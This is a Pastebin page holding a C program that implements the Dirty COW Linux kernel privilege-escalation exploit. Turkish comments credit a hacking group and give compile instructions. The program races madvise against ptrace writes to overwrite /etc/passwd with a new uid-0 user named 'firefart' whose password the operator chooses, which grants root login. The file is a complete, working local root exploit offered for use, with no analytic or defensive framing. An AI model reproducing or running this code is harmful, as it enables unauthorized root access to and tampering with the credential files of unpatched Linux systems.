Advertisement
Guest User

Untitled

a guest
May 28th, 2017
123
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 4.21 KB | None | 0 0
  1.  
  2. // DeadlyCrew.İNFO/Deadly-Warrior Kodlayan :))
  3. //Kullanımı gcc 2016.c -o 2016 -pthread
  4. // ./2016 dedn mi çalışır
  5. // mekan deadlycrew.info
  6. #include <fcntl.h>
  7. #include <pthread.h>
  8. #include <string.h>
  9. #include <stdio.h>
  10. #include <stdint.h>
  11. #include <sys/mman.h>
  12. #include <sys/types.h>
  13. #include <sys/stat.h>
  14. #include <sys/wait.h>
  15. #include <sys/ptrace.h>
  16. #include <stdlib.h>
  17. #include <unistd.h>
  18. #include <crypt.h>
  19.  
  20. const char *filename = "/etc/passwd";
  21. const char *backup_filename = "/tmp/passwd.bak";
  22. const char *salt = "firefart";
  23.  
  24. int f;
  25. void *map;
  26. pid_t pid;
  27. pthread_t pth;
  28. struct stat st;
  29.  
  30. struct Userinfo {
  31.    char *username;
  32.    char *hash;
  33.    int user_id;
  34.    int group_id;
  35.    char *info;
  36.    char *home_dir;
  37.    char *shell;
  38. };
  39.  
  40. char *generate_password_hash(char *plaintext_pw) {
  41.   return crypt(plaintext_pw, salt);
  42. }
  43.  
  44. char *generate_passwd_line(struct Userinfo u) {
  45.   const char *format = "%s:%s:%d:%d:%s:%s:%s\n";
  46.   int size = snprintf(NULL, 0, format, u.username, u.hash,
  47.     u.user_id, u.group_id, u.info, u.home_dir, u.shell);
  48.   char *ret = malloc(size + 1);
  49.   sprintf(ret, format, u.username, u.hash, u.user_id,
  50.     u.group_id, u.info, u.home_dir, u.shell);
  51.   return ret;
  52. }
  53.  
  54. void *madviseThread(void *arg) {
  55.   int i, c = 0;
  56.   for(i = 0; i < 200000000; i++) {
  57.     c += madvise(map, 100, MADV_DONTNEED);
  58.   }
  59.   printf("madvise %d\n\n", c);
  60. }
  61.  
  62. int copy_file(const char *from, const char *to) {
  63.   // dosya var mı yok mu kontrol ediyor yani önemli yani dokunma :D
  64.   if(access(to, F_OK) != -1) {
  65.     printf("File %s already exists! Please delete it and run again\n",
  66.       to);
  67.     return -1;
  68.   }
  69.  
  70.   char ch;
  71.   FILE *source, *target;
  72.  
  73.   source = fopen(from, "r");
  74.   if(source == NULL) {
  75.     return -1;
  76.   }
  77.   target = fopen(to, "w");
  78.   if(target == NULL) {
  79.      fclose(source);
  80.      return -1;
  81.   }
  82.  
  83.   while((ch = fgetc(source)) != EOF) {
  84.      fputc(ch, target);
  85.    }
  86.  
  87.   printf("%s successfully backed up to %s\n",
  88.     from, to);
  89.  
  90.   fclose(source);
  91.   fclose(target);
  92.  
  93.   return 0;
  94. }
  95.  
  96. int main(int argc, char *argv[])
  97. {
  98.   // yedekteki dosyalar gördüğün gibi burayı da kurcalayıp bozmaa exploit :))
  99.   int ret = copy_file(filename, backup_filename);
  100.   if (ret != 0) {
  101.     exit(ret);
  102.   }
  103.  
  104.   struct Userinfo user;
  105.   // değerler kardeşim hala anlamadın mı ellemicen hiç bir şeye ya kullan yeter mk sanane içerikten allah allah
  106.   user.username = "firefart";
  107.   user.user_id = 0;
  108.   user.group_id = 0;
  109.   user.info = "pwned";
  110.   user.home_dir = "/root";
  111.   user.shell = "/bin/bash";
  112.  
  113.   char *plaintext_pw;
  114.  
  115.   if (argc >= 2) {
  116.     plaintext_pw = argv[1];
  117.     printf("Please enter the new password: %s\n", plaintext_pw);
  118.   } else {
  119.     plaintext_pw = getpass("Please enter the new password: ");
  120.   }
  121.  
  122.   user.hash = generate_password_hash(plaintext_pw);
  123.   char *complete_passwd_line = generate_passwd_line(user);
  124.   printf("Complete line:\n%s\n", complete_passwd_line);
  125.  
  126.   f = open(filename, O_RDONLY);
  127.   fstat(f, &st);
  128.   map = mmap(NULL,
  129.              st.st_size + sizeof(long),
  130.              PROT_READ,
  131.              MAP_PRIVATE,
  132.              f,
  133.              0);
  134.   printf("mmap: %lx\n",(unsigned long)map);
  135.   pid = fork();
  136.   if(pid) {
  137.     waitpid(pid, NULL, 0);
  138.     int u, i, o, c = 0;
  139.     int l=strlen(complete_passwd_line);
  140.     for(i = 0; i < 10000/l; i++) {
  141.       for(o = 0; o < l; o++) {
  142.         for(u = 0; u < 10000; u++) {
  143.           c += ptrace(PTRACE_POKETEXT,
  144.                       pid,
  145.                       map + o,
  146.                       *((long*)(complete_passwd_line + o)));
  147.         }
  148.       }
  149.     }
  150.     printf("ptrace %d\n",c);
  151.   }
  152.   else {
  153.     pthread_create(&pth,
  154.                    NULL,
  155.                    madviseThread,
  156.                    NULL);
  157.     ptrace(PTRACE_TRACEME);
  158.     kill(getpid(), SIGSTOP);
  159.     pthread_join(pth,NULL);
  160.   }
  161.  
  162.   printf("Done! Check %s to see if the new user was created\n", filename);
  163.   printf("You can log in with username %s and password %s.\n\n",
  164.     user.username, plaintext_pw);
  165.   printf("\nDON'T FORGET TO RESTORE %s FROM %s !!!\n\n",
  166.     filename, backup_filename);
  167.   return 0;
  168. }
  169. // paşa paşa kullan içeriği değiştirtme belana başlatma :D neyse olan sana olur sap gibi kalırsın aahahahah
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement